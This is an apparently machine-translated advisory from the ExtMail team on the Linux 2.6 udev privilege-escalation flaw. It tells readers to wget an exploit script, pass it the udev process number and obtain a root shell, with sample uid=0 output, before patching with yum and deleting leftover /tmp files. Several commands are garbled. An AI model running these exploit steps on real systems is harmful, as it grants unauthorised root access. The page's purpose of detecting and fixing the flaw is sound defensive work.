Detection and repair of Linux 2.6 kernel udev Vulnerability

CentOS/RHEL 5.x( except 5.3) is valid, but is invalid for the 2.4 series. For CentOS/RHEL 4.x, the attack method described in this article is invalid after testing, but whether it is really invalid is still to be verified by real experts! Please be up to 12 points. Upgrade quickly. The ExtMail team has upgraded all the Linux servers (2.6 kernel, 5.x series) under our control. The following are the detection and upgrade methods. If you are using an affected linux system, you must refer to and upgrade the system. Otherwise, problems may occur. This attack can be implemented using any web program, and the success rate is almost 100%.

Check Method:

1) download the Attack Script:
Wget http://www.linuxidc.com/system/systembak/exploit-udev-8478.txt

2) obtain the udev process number
Run: ps ax | grep udev | grep-v grep | awk {print $1} to obtain the udev process number, and then subtract this number by 1
Parameters for the exploit-udev-8478, for example, if the command result is 143, the parameter is 142

3) execute:
Sh exploit-udev-8478 142
Suid. c: In function 'main ':
Suid. c: 3: warning: incompatible implicit declaration of built-in function 'execl'
Sh-3.1 #
Then look at the id:
Uid = 0 (root) gid = 0 (root) groups = 65530 (hzqbbc)

The root permission can be obtained smoothly. If the root permission cannot be obtained, You need to execute the script several more times. Generally, the root permission can be obtained for the second time.
Solution/prevention

The only option is to upgrade the udev package immediately. You do not need to restart the package after the upgrade. The method is very simple. Please upgrade the latest official udev of the corresponding version. In particular, check whether this vulnerability has been completed. EMOS users can easily upgrade with yum:

Yum update udev

After the upgrade, check again with the detection method to ensure there is no problem! We strongly recommend that you run the following command to clear the temporary files that have been successfully intruded into the previous one when performing the detection again. Otherwise, the attack will be successful after the upgrade.

Run the following command as root:
Reference:
Rm-rf/tmp/libno_ex *
Rm-rf/tmp/suid
Rm-rf/tmp/udev